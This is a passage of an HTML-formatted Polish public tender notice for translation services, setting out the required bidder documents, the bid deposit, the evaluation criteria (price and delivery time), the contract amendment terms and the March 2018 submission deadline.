id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen">1. odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt 1 ustawy Pzp. 2. zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że Wykonawca nie zalega z opłacaniem podatków, wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania ofert, lub inny dokument potwierdzający, że Wykonawca zawarł porozumienie z właściwym organem podatkowym w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu (brak podstaw wykluczenia na podstawie art. 24 ust. 5 pkt 8 ustawy Pzp).3. zaświadczenie właściwej terenowej jednostki organizacyjnej Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego albo inny dokument potwierdzający, że Wykonawca nie zalega z opłacaniem składek na ubezpieczenia społeczne lub zdrowotne, wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania ofert, lub inny dokument potwierdzający, że Wykonawca zawarł porozumienie z właściwym organem w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu (brak podstaw wykluczenia na podstawie art. 24 ust. 5 pkt 8 ustawy Pzp).4. Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej: 4.1. zamiast dokumentów, o których mowa w pkt. 1 - 3 powyżej - składa dokument lub dokumenty wystawione w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, potwierdzające odpowiednio, że: a) nie otwarto jego likwidacji ani nie ogłoszono upadłości, b) nie zalega z opłacaniem podatków, opłat składek na ubezpieczenie społeczne lub zdrowotne albo że zawarł porozumienie z właściwym organem w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu. 4.2 Jeżeli w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania lub miejsce zamieszkania ma osoba, której dokument dotyczy, nie wydaje się dokumentów o których mowa w pkt. 4.1. powyżej, zastępuje się je dokumentem zawierającym odpowiednio oświadczenie Wykonawcy, ze wskazaniem osoby albo osób uprawnionych do jego reprezentacji, lub oświadczenie osoby, której dokument miał dotyczyć, złożone przed notariuszem lub przed organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego właściwym ze względu na siedzibę lub miejsce zamieszkania Wykonawcy lub miejsca zamieszkania tej osoby; 4.3. Dokumenty, o których mowa w pkt. 4.1. a) powyżej, lub zastępujące je dokumenty, o których mowa w pkt 4.2. powyżej, powinny być wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert, natomiast dokument, o którym mowa w 4.1.b) powyżej, lub zastępujące je dokumenty, o których mowa w pkt 4.2. powyżej, powinny być wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania ofert. </span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu">1. Wykaz usług wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich przedmiotu (w przypadku usług tłumaczenia w zakresie ochrony środowiska, należy podać tematykę, której tłumaczenie dotyczyło), dat wykonania i podmiotów, na rzecz których usługi zostały wykonane, wraz z dowodami określającymi czy usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego usługi były wykonywane, a w przypadku świadczeń okresowych lub ciągłych są wykonywane, a jeżeli z uzasadnionej przyczyny o obiektywnym charakterze Wykonawca nie jest w stanie uzyskać tych dokumentów - oświadczenie Wykonawcy; w przypadku świadczeń okresowych lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wydane nie wcześniej niż 3 miesiące przed upływem terminu składania ofert (zaleca się sporządzić Wykaz usług, zgodnie z Załącznikiem nr 5 do IDW); 2. Wykaz osób skierowanych przez Wykonawcę do realizacji zamówienia, w szczególności odpowiedzialnych za świadczenie usług wraz z informacjami na temat ich kwalifikacji zawodowych i doświadczenia niezbędnych do wykonania zamówienia, a także zakresem wykonywanych przez nie czynności (z podaniem m.in. języka z jakiego na jaki było tłumaczenie, ilości stron obliczeniowych, tematyki - dla tłumaczeń z zakresu ochrony środowiska, a w przypadku tłumaczy przysięgłych - pozycji na liście Ministra Sprawiedliwości) oraz informacją o podstawie do dysponowania tymi osobami (zaleca się sporządzić Wykaz osób, zgodnie z Załącznikiem nr 6 do IDW).</span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione">Wykonawca w terminie 3 dni od zamieszczenia na stronie internetowej (www.nfosigw.gov.pl) informacji, o której mowa w art. 86 ust. 5 ustawy Pzp, przekazuje Zamawiającemu oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej, w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (t.j.: Dz. U. z 2017 r. poz. 229), z innymi Wykonawcami, którzy złożyli oferty (zaleca się złożenie dokumentu odpowiednio z wykorzystaniem wzoru stanowiącego Załącznik 4 do IDW).W przypadku przynależności do tej samej grupy kapitałowej, wraz ze złożeniem oświadczenia Wykonawca może przedstawić dowody (dokumenty bądź informacje) potwierdzające, że powiązania z innym Wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia.2. Wykonawca, który polega na zdolnościach lub sytuacji innych podmiotów, wykazując spełnianie warunku o którym mowa w pkt III.1.3) powyżej, musi udowodnić Zamawiającemu, że realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów, w szczególności przedstawiając zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na potrzeby realizacji zamówienia. W przypadku polegania na zdolnościach lub sytuacji innych podmiotów, dokument (zobowiązanie) powinno określać: - zakres dostępnych Wykonawcy zasobów innego podmiotu, - sposób wykorzystania zasobów innego podmiotu, przy wykonaniu zamówienia,- zakres i okres udziału innego podmiotu przy wykonywaniu zamówienia. 3. Zamawiający oceni, czy udostępniane Wykonawcy przez inne podmioty zdolności techniczne i zawodowe, pozwalają na wykazanie przez Wykonawcę spełniania warunków udziału w postępowaniu oraz zbada, czy nie zachodzą wobec tego podmiotu podstawy wykluczenia określone w art. 24 ust. 1 pkt. 13-22 i ust. 5 ustawy Pzp w zakresie i poprzez żądanie dokumentów, takich jak żądane od Wykonawcy, o których mowa w pkt. 9.2.2 IDW, dotyczących tego podmiotu. W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych lub doświadczenia, Wykonawcy mogą polegać na zdolnościach innych podmiotów, jeśli podmioty te zrealizują usługi, do realizacji których te zdolności są wymagane. 4. W przypadku powoływania się na zasoby innych podmiotów, na zasadach określonych w pkt. 8.3 IDW oraz art. 22a ustawy Pzp, Wykonawca: - zamieszcza informacje o tych podmiotach w oświadczeniach własnych, o których mowa w pkt. III.3) ogłoszenia, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełniania, w zakresie w jakim powołuje się na ich zasoby, warunków udziału w postępowaniu, - dołącza do oferty dokument (zobowiązanie), o którym mowa w pkt. 2 powyżej. </span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Tak</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium">Zamawiający wymaga wniesienia wadium w wysokości:- dla Części 1 - 1 600,00 zł (słownie: jeden tysiąc sześćset złotych);- dla Części 2 - 400,00 zł (słownie: czterysta złotych);Okres ważności wadium musi obejmować cały okres związania ofertą, o którym mowa w pkt XIX IDW i IV.6.3) ogłoszenia.</span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej">Nie</span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej">Nie</span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej">Nie</span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Cena</TD><TD style='border: 1px solid black;border-collapse: collapse;'>60,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Termin wykonania tłumaczeń</TD><TD style='border: 1px solid black;border-collapse: collapse;'>40,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Tak</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">1. Wszelkie zmiany niniejszej umowy wymagają formy pisemnej, pod rygorem nieważności.1) Strony dopuszczają możliwość zmian Umowy, poprzez odpowiednią zmianę wysokości wynagrodzenia należnego Wykonawcy, w przypadku zmiany: a) stawki podatku od towarów i usług, b) wysokości minimalnego wynagrodzenia za pracę albo minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu za pracę (tj.: Dz. U. 2017 r. poz. 847), c) zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, - jeżeli zmiany te będą miały wpływ na koszty wykonania zamówienia przez Wykonawcę , o kwotę wykazaną przez Wykonawcę i wynikającą z wyżej wymienionych zmian.2) W przypadku zaistnienia sytuacji, o których mowa w pkt. 1 powyżej, odpowiednia zmiana wynagrodzenia może nastąpić za zgodą Stron, w drodze negocjacji, przy czym:a) negocjacje będą się mogły rozpocząć po dniu opublikowania zmian przepisów będących podstawą negocjacji, b) w przypadku zmiany dotyczącej wysokości minimalnego wynagrodzenia, pod pojęciem odpowiedniej zmiany wynagrodzenia, należy rozumieć sumę wzrostu kosztów Wykonawcy wynikających z podwyższenia wynagrodzeń poszczególnych pracowników biorących udział w realizacji pozostałej do wykonania (w momencie wejścia w życie zmiany) części zamówienia, do wysokości wynagrodzenia minimalnego, obowiązującej po zmianie przepisów lub jej odpowiedniej części, dla osób zatrudnionych w wymiarze niższym niż pełen etat,c) w przypadku zmiany dotyczącej zasad podlegania ubezpieczeniom społecznym lub zdrowotnym albo wysokości stawki składki na ubezpieczenie społeczne lub zdrowotne, pod pojęciem ,,odpowiedniej zmiany wynagrodzenia", należy rozumieć sumę wzrostu kosztów Wykonawcy oraz drugiej strony umowy o pracę lub innej umowy cywilnoprawnej łączącej Wykonawcę z osobą fizyczną nieprowadzącą działalności gospodarczej, wynikających z konieczności odprowadzenia dodatkowych składek od wynagrodzeń osób zatrudnionych na umowę o pracę lub na podstawie innej umowy cywilnoprawnej zawartej przez Wykonawcę z osobą fizyczną nieprowadzącą działalności gospodarczej, a biorących udział w realizacji pozostałej do wykonania (w momencie wejścia w życie zmiany) części zamówienia, przy założeniu braku zmiany wynagrodzenia netto tych osób.3) Jeżeli zmiana albo rezygnacja z podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ust. 1 ustawy Pzp, w celu wykazania spełniania warunków udziału w postępowaniu, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż podwykonawca, na którego zasoby Wykonawca powoływał się w trakcie postępowania o udzielenie zamówienia. W przeciwnym wypadku Zamawiający będzie traktował powyższe jako naruszenie postanowień Umowy.4) Wykonawca w uzasadnionych przypadkach (w szczególności w sytuacjach losowych takich jak np. choroba, ustanie stosunku pracy z Wykonawcą, itp.) ma prawo w trakcie trwania Umowy, po uzyskaniu pisemnej zgody Zamawiającego, do zmiany osób wchodzących w skład zespołu, który realizuje zamówienie, pod warunkiem, że osoba zastępująca będzie miała wiedzę i doświadczenie nie gorsze niż wymagane na etapie postępowania dla ww osoby, a Zespół łącznie będzie miał wiedzę, doświadczenie i kompetencje nie gorsze niż wymagane w załączniku nr 2 do Umowy.</span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2018-03-15</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">11:00</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki"></span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Nie</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5">Nie</span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6">1. Wykluczenie Wykonawcy następuje w sytuacjach określonych w pkt. III.2) ogłoszenia, z uwzględnieniem art. 24 ust. 7 ustawy Pzp. 2. W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, brak podstaw wykluczenia, o których mowa w pkt. III.2) ogłoszenia musi wykazać każdy z Wykonawców. 3. W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia: a) oświadczenia i dokumenty, o których mowa w pkt III.3) oraz w pkt. III.4)1-3. ogłoszenia albo odpowiadające im dokumenty, o których mowa w pkt III.4)4.1 i III.4)4.2 ogłoszenia, a także oświadczenie, o którym mowa w pkt. III.7)1. ogłoszenia, muszą być złożone przez każdego z tych Wykonawców, b) dokumenty, o których mowa w pkt III.5.1)1-2 ogłoszenia zobowiązany jest złożyć ten lub ci z Wykonawców, który wykazywać będzie spełnianie warunku udziału w postępowaniu, którego dokument dotyczy. 4. Wraz z ofertą należy złożyć stosowne Pełnomocnictwo / Pełnomocnictwa - w przypadku, gdy oferta i/lub inne dokumenty podpisane są przez Pełnomocnika/Pełnomocników Wykonawcy. 5. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia ustanawiają Pełnomocnika do reprezentowania ich w postępowaniu albo reprezentowania ich w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego. 